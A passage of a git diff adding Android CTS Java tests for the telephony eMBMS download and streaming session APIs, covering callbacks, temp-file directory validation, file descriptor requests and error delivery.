+        Intent intentForReceiverTest = new Intent(VendorUtils.ACTION_DOWNLOAD_RESULT_INTERNAL);
+        populateIntentWithCommonFields(intentForReceiverTest);
+        intentForReceiverTest.putExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_RESULT,
+                MbmsDownloadSession.RESULT_CANCELLED);
+        intentForReceiverTest.putExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_REQUEST,
+                TEST_DOWNLOAD_REQUEST);
+
+        AppIntentCapture intentCaptor = new AppIntentCapture(mContext, mCallbackHandler);
+
+        sendBroadcastAndValidate(intentForReceiverTest, MbmsDownloadReceiver.RESULT_OK);
+        Intent receivedIntent = intentCaptor.getIntent();
+
+        assertEquals(MbmsDownloadSession.RESULT_CANCELLED,
+                receivedIntent.getIntExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_RESULT, -1));
+
+        assertEquals(TEST_DOWNLOAD_REQUEST,
+                receivedIntent.getParcelableExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_REQUEST));
+    }
+
+    public void testBadDownloadToken() {
+        // Set up a perfectly valid download completion intent, and expect it to fail because the
+        // download token hasn't been written.
+        Intent intentForReceiverTest = new Intent(VendorUtils.ACTION_DOWNLOAD_RESULT_INTERNAL);
+        populateIntentWithCommonFields(intentForReceiverTest);
+        intentForReceiverTest.putExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_RESULT,
+                MbmsDownloadSession.RESULT_SUCCESSFUL);
+        intentForReceiverTest.putExtra(MbmsDownloadSession.EXTRA_MBMS_DOWNLOAD_REQUEST,
+                TEST_DOWNLOAD_REQUEST);
+        intentForReceiverTest.putExtra(MbmsDownloadSession.EXTRA_MBMS_FILE_INFO,
+                CtsDownloadService.FILE_INFO);
+        intentForReceiverTest.putExtra(VendorUtils.EXTRA_FINAL_URI,
+                Uri.fromFile(new File(new File(tempFileRootDir, TEST_SERVICE_ID), "file1")));
+
+        sendBroadcastAndValidate(intentForReceiverTest,
+                MbmsDownloadReceiver.RESULT_MALFORMED_INTENT);
+    }
+
+    public void testRequestNoFileDescriptors() throws Exception {
+        Intent fdRequestIntent = new Intent(VendorUtils.ACTION_FILE_DESCRIPTOR_REQUEST);
+        populateIntentWithCommonFields(fdRequestIntent);
+
+        Bundle b = sendBroadcastAndValidate(fdRequestIntent, MbmsDownloadReceiver.RESULT_OK);
+        assertTrue(b == null || b.isEmpty());
+    }
+
+    public void testRequestNewFileDescriptors() throws Exception {
+        Intent fdRequestIntent = new Intent(VendorUtils.ACTION_FILE_DESCRIPTOR_REQUEST);
+        populateIntentWithCommonFields(fdRequestIntent);
+        fdRequestIntent.putExtra(VendorUtils.EXTRA_FD_COUNT, 5);
+
+        Bundle result = sendBroadcastAndValidate(fdRequestIntent, MbmsDownloadReceiver.RESULT_OK);
+        List<UriPathPair> freeUris = result.getParcelableArrayList(VendorUtils.EXTRA_FREE_URI_LIST);
+        assertNotNull(freeUris);
+        assertEquals(5, freeUris.size());
+        for (UriPathPair pathPair : freeUris) {
+            assertEquals(ContentResolver.SCHEME_CONTENT, pathPair.getContentUri().getScheme());
+            assertEquals(ContentResolver.SCHEME_FILE, pathPair.getFilePathUri().getScheme());
+        }
+    }
+
+    public void testRequestRefreshedFileDescriptors() throws Exception {
+        // Set up a few temp files that we can request again
+        Intent fdRequestIntent = new Intent(VendorUtils.ACTION_FILE_DESCRIPTOR_REQUEST);
+        populateIntentWithCommonFields(fdRequestIntent);
+        fdRequestIntent.putExtra(VendorUtils.EXTRA_FD_COUNT, 2);
+
+        Bundle result = sendBroadcastAndValidate(fdRequestIntent, MbmsDownloadReceiver.RESULT_OK);
+        List<UriPathPair> freeUris = result.getParcelableArrayList(VendorUtils.EXTRA_FREE_URI_LIST);
+
+        Intent fdRefreshIntent = new Intent(VendorUtils.ACTION_FILE_DESCRIPTOR_REQUEST);
+        populateIntentWithCommonFields(fdRefreshIntent);
+        fdRefreshIntent.putParcelableArrayListExtra(VendorUtils.EXTRA_PAUSED_LIST,
+                new ArrayList<>(freeUris.stream().map(UriPathPair::getFilePathUri)
+                        .collect(Collectors.toList())));
+        Bundle result2 = sendBroadcastAndValidate(fdRefreshIntent, MbmsDownloadReceiver.RESULT_OK);
+        List<UriPathPair> refreshUris =
+                result2.getParcelableArrayList(VendorUtils.EXTRA_PAUSED_URI_LIST);
+        assertEquals(freeUris.size(), refreshUris.size());
+        for (UriPathPair pathPair : refreshUris) {
+            assertTrue(freeUris.stream()
+                    .anyMatch((originalPair) ->
+                            originalPair.getFilePathUri().equals(pathPair.getFilePathUri())));
+        }
+    }
+
+    private Bundle sendBroadcastAndValidate(Intent intent, int expectedCode) {
+        BlockingQueue<Bundle> receivedExtras = new LinkedBlockingQueue<>();
+        BlockingQueue<Integer> receivedCode = new LinkedBlockingQueue<>();
+        mContext.sendOrderedBroadcast(intent, CTS_BROADCAST_PERMISSION,
+                new BroadcastReceiver() {
+                    @Override
+                    public void onReceive(Context context, Intent intent) {
+                        receivedExtras.add(getResultExtras(true));
+                        receivedCode.add(getResultCode());
+                    }
+                }, mCallbackHandler, -1, null, null);
+
+        try {
+            assertEquals(expectedCode,
+                    (int) receivedCode.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS));
+            return receivedExtras.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+        } catch (InterruptedException e) {
+            fail("Test interrupted");
+            return null;
+        }
+    }
+
+    private boolean bundleEquals(Bundle a, Bundle b) {
+        if (a == null && b == null) {
+            return true;
+        }
+        if (a == null || b == null) {
+            return false;
+        }
+        for (String aKey : a.keySet()) {
+            if (!Objects.equals(a.get(aKey), b.get(aKey))) {
+                return false;
+            }
+        }
+
+        for (String bKey : b.keySet()) {
+            if (!Objects.equals(b.get(bKey), a.get(bKey))) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    private void populateIntentWithCommonFields(Intent intent) {
+        intent.putExtra(VendorUtils.EXTRA_SERVICE_ID, TEST_SERVICE_ID);
+        intent.putExtra(VendorUtils.EXTRA_TEMP_FILE_ROOT, tempFileRootDirPath);
+    }
+
+}
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadSessionTest.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadSessionTest.java
new file mode 100644
index 0000000..6bd35c3
--- /dev/null
+++ b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadSessionTest.java
@@ -0,0 +1,204 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import android.content.Intent;
+import android.os.Bundle;
+import android.telephony.MbmsDownloadSession;
+import android.telephony.cts.embmstestapp.CtsDownloadService;
+import android.telephony.cts.embmstestapp.CtsStreamingService;
+import android.telephony.mbms.DownloadRequest;
+import android.telephony.mbms.FileServiceInfo;
+import android.telephony.mbms.MbmsErrors;
+
+import java.io.File;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+public class MbmsDownloadSessionTest extends MbmsDownloadTestBase {
+    public void testDuplicateSession() throws Exception {
+        try {
+            MbmsDownloadSession failure = MbmsDownloadSession.create(
+                    mContext, mCallback, mCallbackHandler);
+            fail("Duplicate create should've thrown an exception");
+        } catch (IllegalStateException e) {
+            // Succeed
+        }
+    }
+
+    public void testRequestUpdateDownloadServices() throws Exception {
+        List<String> testClasses = Arrays.asList("class1", "class2");
+        mDownloadSession.requestUpdateFileServices(testClasses);
+
+        // Make sure we got the streaming services
+        List<FileServiceInfo> serviceInfos =
+                (List<FileServiceInfo>) mCallback.waitOnFileServicesUpdated().arg1;
+        assertEquals(CtsDownloadService.FILE_SERVICE_INFO, serviceInfos.get(0));
+        assertEquals(0, mCallback.getNumErrorCalls());
+
+        // Make sure the middleware got the call with the right args
+        List<Bundle> requestDownloadServicesCalls =
+                getMiddlewareCalls(CtsDownloadService.METHOD_REQUEST_UPDATE_FILE_SERVICES);
+        assertEquals(1, requestDownloadServicesCalls.size());
+        List<String> middlewareReceivedServiceClasses =
+                 requestDownloadServicesCalls.get(0)
+                         .getStringArrayList(CtsDownloadService.ARGUMENT_SERVICE_CLASSES);
+        assertEquals(testClasses.size(), middlewareReceivedServiceClasses.size());
+        for (int i = 0; i < testClasses.size(); i++) {
+            assertEquals(testClasses.get(i), middlewareReceivedServiceClasses.get(i));
+        }
+    }
+
+    public void testClose() throws Exception {
+        mDownloadSession.close();
+
+        // Make sure we can't use it anymore
+        try {
+            mDownloadSession.requestUpdateFileServices(Collections.emptyList());
+            fail("Download session should not be usable after close");
+        } catch (IllegalStateException e) {
+            // Succeed
+        }
+
+        // Make sure that the middleware got the call to close
+        List<Bundle> closeCalls = getMiddlewareCalls(CtsDownloadService.METHOD_CLOSE);
+        assertEquals(1, closeCalls.size());
+    }
+
+    public void testSetTempFileDirectory() throws Exception {
+        String tempFileDirName = "CTSTestDir";
+        File tempFileRootDirectory = new File(mContext.getFilesDir(), tempFileDirName);
+        tempFileRootDirectory.mkdirs();
+
+        mDownloadSession.setTempFileRootDirectory(tempFileRootDirectory);
+        List<Bundle> setTempRootCalls =
+                getMiddlewareCalls(CtsDownloadService.METHOD_SET_TEMP_FILE_ROOT);
+        assertEquals(1, setTempRootCalls.size());
+        assertEquals(tempFileRootDirectory.getCanonicalPath(),
+                setTempRootCalls.get(0).getString(CtsDownloadService.ARGUMENT_ROOT_DIRECTORY_PATH));
+        tempFileRootDirectory.delete();
+    }
+
+    public void testSetInvalidTempFileRoot() throws Exception {
+        File tempFileRootDirectory = new File(mContext.getFilesDir(), "NNN-DoesNotExist");
+        tempFileRootDirectory.delete();
+
+        try {
+            mDownloadSession.setTempFileRootDirectory(tempFileRootDirectory);
+            fail("Should not be able to set temp file root to non-existent directory");
+        } catch (IllegalArgumentException e) {
+            // success
+        }
+
+        tempFileRootDirectory = new File(mContext.getFilesDir(), "this-is-a-file.dat");
+        tempFileRootDirectory.createNewFile();
+
+        try {
+            mDownloadSession.setTempFileRootDirectory(tempFileRootDirectory);
+            fail("Should not be able to set temp file root to a file");
+        } catch (IllegalArgumentException e) {
+            // success
+        }
+
+        try {
+            mDownloadSession.setTempFileRootDirectory(mContext.getFilesDir());
+            fail("Should not be able to set temp file root to the files dir");
+        } catch (IllegalArgumentException e) {
+            // success
+        }
+
+        try {
+            mDownloadSession.setTempFileRootDirectory(mContext.getCacheDir());
+            fail("Should not be able to set temp file root to the cache dir");
+        } catch (IllegalArgumentException e) {
+            // success
+        }
+
+        try {
+            mDownloadSession.setTempFileRootDirectory(mContext.getDataDir());
+            fail("Should not be able to set temp file root to the data dir");
+        } catch (IllegalArgumentException e) {
+            // success
+        }
+
+        tempFileRootDirectory.delete();
+    }
+
+    public void testResetDownloadKnowledge() throws Exception {
+        DownloadRequest request = DOWNLOAD_REQUEST_TEMPLATE.build();
+        mDownloadSession.resetDownloadKnowledge(request);
+
+        List<Bundle> resetDownloadKnowledgeCalls =
+                getMiddlewareCalls(CtsDownloadService.METHOD_RESET_DOWNLOAD_KNOWLEDGE);
+        assertEquals(1, resetDownloadKnowledgeCalls.size());
+        assertEquals(request, resetDownloadKnowledgeCalls.get(0).getParcelable(
+                CtsDownloadService.ARGUMENT_DOWNLOAD_REQUEST));
+    }
+
+    public void testGetDownloadStatus() throws Exception {
+        DownloadRequest request = DOWNLOAD_REQUEST_TEMPLATE.build();
+        mDownloadSession.getDownloadStatus(request, CtsDownloadService.FILE_INFO);
+
+        List<Bundle> getDownloadStatusCalls =
+                getMiddlewareCalls(CtsDownloadService.METHOD_GET_DOWNLOAD_STATUS);
+        assertEquals(1, getDownloadStatusCalls.size());
+        assertEquals(request, getDownloadStatusCalls.get(0).getParcelable(
+                CtsDownloadService.ARGUMENT_DOWNLOAD_REQUEST));
+        assertEquals(CtsDownloadService.FILE_INFO, getDownloadStatusCalls.get(0).getParcelable(
+                CtsDownloadService.ARGUMENT_FILE_INFO));
+    }
+
+    public void testCancelDownload() throws Exception {
+        DownloadRequest request = DOWNLOAD_REQUEST_TEMPLATE.build();
+        mDownloadSession.cancelDownload(request);
+
+        List<Bundle> cancelDownloadCalls =
+                getMiddlewareCalls(CtsDownloadService.METHOD_CANCEL_DOWNLOAD);
+        assertEquals(1, cancelDownloadCalls.size());
+        assertEquals(request, cancelDownloadCalls.get(0).getParcelable(
+                CtsDownloadService.ARGUMENT_DOWNLOAD_REQUEST));
+    }
+
+    public void testListPendingDownloads() throws Exception {
+        DownloadRequest request = DOWNLOAD_REQUEST_TEMPLATE.setAppIntent(new Intent()).build();
+        mDownloadSession.download(request);
+
+        List<DownloadRequest> downloads = mDownloadSession.listPendingDownloads();
+        assertEquals(1, downloads.size());
+        assertEquals(request, downloads.get(0));
+    }
+
+    public void testDownloadRequestOpacity() throws Exception {
+        Intent intent = new Intent("sample_intent_action");
+        DownloadRequest request = DOWNLOAD_REQUEST_TEMPLATE.setAppIntent(intent).build();
+        DownloadRequest newRequest = new DownloadRequest.Builder(request.getSourceUri())
+                .setServiceId(request.getFileServiceId())
+                .setSubscriptionId(request.getSubscriptionId())
+                .setOpaqueData(request.getOpaqueData())
+                .build();
+        assertEquals(request, newRequest);
+    }
+
+    public void testErrorDelivery() throws Exception {
+        mMiddlewareControl.forceErrorCode(
+                MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE);
+        mDownloadSession.requestUpdateFileServices(Collections.emptyList());
+        assertEquals(MbmsErrors.GeneralErrors.ERROR_MIDDLEWARE_TEMPORARILY_UNAVAILABLE,
+                mCallback.waitOnError().arg1);
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadStateCallbackTest.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadStateCallbackTest.java
new file mode 100644
index 0000000..a5cc2d0
--- /dev/null
+++ b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadStateCallbackTest.java
@@ -0,0 +1,138 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import android.telephony.MbmsDownloadSession;
+import android.telephony.cts.embmstestapp.CtsDownloadService;
+import android.telephony.mbms.DownloadRequest;
+import android.telephony.mbms.DownloadStateCallback;
+import android.telephony.mbms.FileInfo;
+
+import com.android.internal.os.SomeArgs;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class MbmsDownloadStateCallbackTest extends MbmsDownloadTestBase {
+    private static final long SHORT_TIMEOUT = 500;
+
+    private class TestDSCallback extends DownloadStateCallback {
+        private final BlockingQueue<SomeArgs> mProgressUpdatedCalls = new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mStateUpdatedCalls = new LinkedBlockingQueue<>();
+
+        public TestDSCallback(int filterFlags) {
+            super(filterFlags);
+        }
+
+        @Override
+        public void onProgressUpdated(DownloadRequest request, FileInfo fileInfo, int
+                currentDownloadSize, int fullDownloadSize, int currentDecodedSize, int
+                fullDecodedSize) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = request;
+            args.arg2 = fileInfo;
+            args.arg3 = currentDownloadSize;
+            args.arg4 = fullDownloadSize;
+            args.arg5 = currentDecodedSize;
+            args.arg6 = fullDecodedSize;
+            mProgressUpdatedCalls.add(args);
+        }
+
+        @Override
+        public void onStateUpdated(DownloadRequest request, FileInfo fileInfo,
+                @MbmsDownloadSession.DownloadStatus int state) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = request;
+            args.arg2 = fileInfo;
+            args.arg3 = state;
+            mStateUpdatedCalls.add(args);
+        }
+
+        public SomeArgs waitOnProgressUpdated(long timeout) {
+            try {
+                return mProgressUpdatedCalls.poll(timeout, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public SomeArgs waitOnStateUpdated(long timeout) {
+            try {
+                return mStateUpdatedCalls.poll(timeout, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+    }
+
+    public void testFullCallback() throws Exception {
+        int sampleInt = 10;
+        TestDSCallback callback = new TestDSCallback(DownloadStateCallback.ALL_UPDATES);
+        DownloadRequest request = DOWNLOAD_REQUEST_TEMPLATE.build();
+        mDownloadSession.registerStateCallback(request, callback, mCallbackHandler);
+        mMiddlewareControl.fireOnProgressUpdated(request, CtsDownloadService.FILE_INFO,
+                sampleInt, sampleInt, sampleInt, sampleInt);
+        SomeArgs progressArgs = callback.waitOnProgressUpdated(ASYNC_TIMEOUT);
+        assertEquals(request, progressArgs.arg1);
+        assertEquals(CtsDownloadService.FILE_INFO, progressArgs.arg2);
+        assertEquals(sampleInt, progressArgs.arg3);
+        assertEquals(sampleInt, progressArgs.arg4);
+        assertEquals(sampleInt, progressArgs.arg5);
+        assertEquals(sampleInt, progressArgs.arg6);
+
+        mMiddlewareControl.fireOnStateUpdated(request, CtsDownloadService.FILE_INFO, sampleInt);
+        SomeArgs stateArgs = callback.waitOnStateUpdated(ASYNC_TIMEOUT);
+        assertEquals(request, stateArgs.arg1);
+        assertEquals(CtsDownloadService.FILE_INFO, stateArgs.arg2);
+        assertEquals(sampleInt, stateArgs.arg3);
+    }
+
+    public void testDeregistration() throws Exception {
+        TestDSCallback callback = new TestDSCallback(DownloadStateCallback.ALL_UPDATES);
+        DownloadRequest request = DOWNLOAD_REQUEST_TEMPLATE.build();
+        mDownloadSession.registerStateCallback(request, callback, mCallbackHandler);
+        mDownloadSession.unregisterStateCallback(request, callback);
+
+        mMiddlewareControl.fireOnStateUpdated(null, null, 0);
+        assertNull(callback.waitOnStateUpdated(SHORT_TIMEOUT));
+        mMiddlewareControl.fireOnProgressUpdated(null, null, 0, 0, 0, 0);
+        assertNull(callback.waitOnProgressUpdated(SHORT_TIMEOUT));
+    }
+
+    public void testCallbackFiltering1() throws Exception {
+        TestDSCallback callback = new TestDSCallback(DownloadStateCallback.PROGRESS_UPDATES);
+        DownloadRequest request = DOWNLOAD_REQUEST_TEMPLATE.build();
+        mDownloadSession.registerStateCallback(request, callback, mCallbackHandler);
+
+        mMiddlewareControl.fireOnStateUpdated(null, null, 0);
+        assertNull(callback.waitOnStateUpdated(SHORT_TIMEOUT));
+        mMiddlewareControl.fireOnProgressUpdated(null, null, 0, 0, 0, 0);
+        assertNotNull(callback.waitOnProgressUpdated(SHORT_TIMEOUT));
+    }
+
+    public void testCallbackFiltering2() throws Exception {
+        TestDSCallback callback = new TestDSCallback(DownloadStateCallback.STATE_UPDATES);
+        DownloadRequest request = DOWNLOAD_REQUEST_TEMPLATE.build();
+        mDownloadSession.registerStateCallback(request, callback, mCallbackHandler);
+
+        mMiddlewareControl.fireOnStateUpdated(null, null, 0);
+        assertNotNull(callback.waitOnStateUpdated(SHORT_TIMEOUT));
+        mMiddlewareControl.fireOnProgressUpdated(null, null, 0, 0, 0, 0);
+        assertNull(callback.waitOnProgressUpdated(SHORT_TIMEOUT));
+    }
+}
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadTestBase.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadTestBase.java
new file mode 100644
index 0000000..3f490ad
--- /dev/null
+++ b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsDownloadTestBase.java
@@ -0,0 +1,183 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import android.annotation.Nullable;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.telephony.MbmsDownloadSession;
+import android.telephony.cts.embmstestapp.CtsDownloadService;
+import android.telephony.cts.embmstestapp.ICtsDownloadMiddlewareControl;
+import android.telephony.mbms.DownloadRequest;
+import android.telephony.mbms.FileServiceInfo;
+import android.telephony.mbms.MbmsDownloadSessionCallback;
+import android.test.InstrumentationTestCase;
+
+import com.android.internal.os.SomeArgs;
+
+import java.io.File;
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+import java.util.stream.Collectors;
+
+public class MbmsDownloadTestBase extends InstrumentationTestCase {
+    protected static final int ASYNC_TIMEOUT = 10000;
+
+    protected static class TestCallback extends MbmsDownloadSessionCallback {
+        private final BlockingQueue<SomeArgs> mErrorCalls = new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mFileServicesUpdatedCalls =
+                new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mMiddlewareReadyCalls = new LinkedBlockingQueue<>();
+        private int mNumErrorCalls = 0;
+
+        @Override
+        public void onError(int errorCode, @Nullable String message) {
+            mNumErrorCalls += 1;
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = errorCode;
+            args.arg2 = message;
+            mErrorCalls.add(args);
+        }
+
+        @Override
+        public void onFileServicesUpdated(List<FileServiceInfo> services) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = services;
+            mFileServicesUpdatedCalls.add(args);
+        }
+
+        @Override
+        public void onMiddlewareReady() {
+            mMiddlewareReadyCalls.add(SomeArgs.obtain());
+        }
+
+        public SomeArgs waitOnError() {
+            try {
+                return mErrorCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public boolean waitOnMiddlewareReady() {
+            try {
+                return mMiddlewareReadyCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS) != null;
+            } catch (InterruptedException e) {
+                return false;
+            }
+        }
+
+        public SomeArgs waitOnFileServicesUpdated() {
+            try {
+                return mFileServicesUpdatedCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public int getNumErrorCalls() {
+            return mNumErrorCalls;
+        }
+    }
+
+    static final DownloadRequest.Builder DOWNLOAD_REQUEST_TEMPLATE =
+            new DownloadRequest.Builder(CtsDownloadService.DOWNLOAD_SOURCE_URI)
+                    .setServiceInfo(CtsDownloadService.FILE_SERVICE_INFO);
+
+    Context mContext;
+    HandlerThread mHandlerThread;
+    Handler mCallbackHandler;
+    ICtsDownloadMiddlewareControl mMiddlewareControl;
+    MbmsDownloadSession mDownloadSession;
+    TestCallback mCallback = new TestCallback();
+
+    @Override
+    public void setUp() throws Exception {
+        mContext = getInstrumentation().getContext();
+        mHandlerThread = new HandlerThread("EmbmsCtsTestWorker");
+        mHandlerThread.start();
+        mCallbackHandler = new Handler(mHandlerThread.getLooper());
+        getControlBinder();
+        setupDownloadSession();
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        mHandlerThread.quit();
+        mDownloadSession.close();
+        mMiddlewareControl.reset();
+    }
+
+    private void setupDownloadSession() throws Exception {
+        mDownloadSession = MbmsDownloadSession.create(
+                mContext, mCallback, mCallbackHandler);
+        assertNotNull(mDownloadSession);
+        assertTrue(mCallback.waitOnMiddlewareReady());
+        assertEquals(0, mCallback.getNumErrorCalls());
+        Bundle initializeCall =  mMiddlewareControl.getDownloadSessionCalls().get(0);
+        assertEquals(CtsDownloadService.METHOD_INITIALIZE,
+                initializeCall.getString(CtsDownloadService.METHOD_NAME));
+    }
+
+    private void getControlBinder() throws InterruptedException {
+        Intent bindIntent = new Intent(CtsDownloadService.CONTROL_INTERFACE_ACTION);
+        bindIntent.setComponent(CtsDownloadService.CONTROL_INTERFACE_COMPONENT);
+        final CountDownLatch bindLatch = new CountDownLatch(1);
+
+        boolean success = mContext.bindService(bindIntent, new ServiceConnection() {
+            @Override
+            public void onServiceConnected(ComponentName name, IBinder service) {
+                mMiddlewareControl = ICtsDownloadMiddlewareControl.Stub.asInterface(service);
+                bindLatch.countDown();
+            }
+
+            @Override
+            public void onServiceDisconnected(ComponentName name) {
+                mMiddlewareControl = null;
+            }
+        }, Context.BIND_AUTO_CREATE);
+        if (!success) {
+            fail("Failed to get control interface -- bind error");
+        }
+        bindLatch.await(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+    }
+
+    protected List<Bundle> getMiddlewareCalls(String methodName) throws RemoteException {
+        return (mMiddlewareControl.getDownloadSessionCalls()).stream()
+                .filter((elem) -> elem.getString(CtsDownloadService.METHOD_NAME).equals(methodName))
+                .collect(Collectors.toList());
+    }
+
+    protected static void recursiveDelete(File f) {
+        if (f.isDirectory()) {
+            for (File f1 : f.listFiles()) {
+                recursiveDelete(f1);
+            }
+        }
+        f.delete();
+    }
+}
\ No newline at end of file
diff --git a/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingServiceTest.java b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingServiceTest.java
new file mode 100644
index 0000000..42e5618
--- /dev/null
+++ b/tests/tests/telephony/src/android/telephony/embms/cts/MbmsStreamingServiceTest.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.telephony.embms.cts;
+
+import android.annotation.Nullable;
+import android.telephony.cts.embmstestapp.CtsStreamingService;
+import android.telephony.mbms.MbmsErrors;
+import android.telephony.mbms.StreamingService;
+import android.telephony.mbms.StreamingServiceCallback;
+
+import com.android.internal.os.SomeArgs;
+
+import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class MbmsStreamingServiceTest extends MbmsStreamingTestBase {
+    private class TestStreamingServiceCallback extends StreamingServiceCallback {
+        private final BlockingQueue<SomeArgs> mErrorCalls = new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mStreamStateUpdatedCalls =
+                new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mMediaDescriptionUpdatedCalls =
+                new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mBroadcastSignalStrengthUpdatedCalls =
+                new LinkedBlockingQueue<>();
+        private final BlockingQueue<SomeArgs> mStreamMethodUpdatedCalls =
+                new LinkedBlockingQueue<>();
+
+        @Override
+        public void onError(int errorCode, @Nullable String message) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = errorCode;
+            args.arg2 = message;
+            mErrorCalls.add(args);
+        }
+
+        @Override
+        public void onStreamStateUpdated(@StreamingService.StreamingState int state,
+                @StreamingService.StreamingStateChangeReason int reason) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = state;
+            args.arg2 = reason;
+            mStreamStateUpdatedCalls.add(args);
+        }
+
+        @Override
+        public void onMediaDescriptionUpdated() {
+            SomeArgs args = SomeArgs.obtain();
+            mMediaDescriptionUpdatedCalls.add(args);
+        }
+
+        @Override
+        public void onBroadcastSignalStrengthUpdated(int signalStrength) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = signalStrength;
+            mBroadcastSignalStrengthUpdatedCalls.add(args);
+        }
+
+        @Override
+        public void onStreamMethodUpdated(int methodType) {
+            SomeArgs args = SomeArgs.obtain();
+            args.arg1 = methodType;
+            mStreamMethodUpdatedCalls.add(args);
+        }
+
+        public SomeArgs waitOnError() {
+            try {
+                return mErrorCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public SomeArgs waitOnStreamStateUpdated() {
+            try {
+                return mStreamStateUpdatedCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
+        public SomeArgs waitOnMediaDescriptionUpdated() {
+            try {
+                return mMediaDescriptionUpdatedCalls.poll(ASYNC_TIMEOUT, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                return null;
+            }
+        }
+
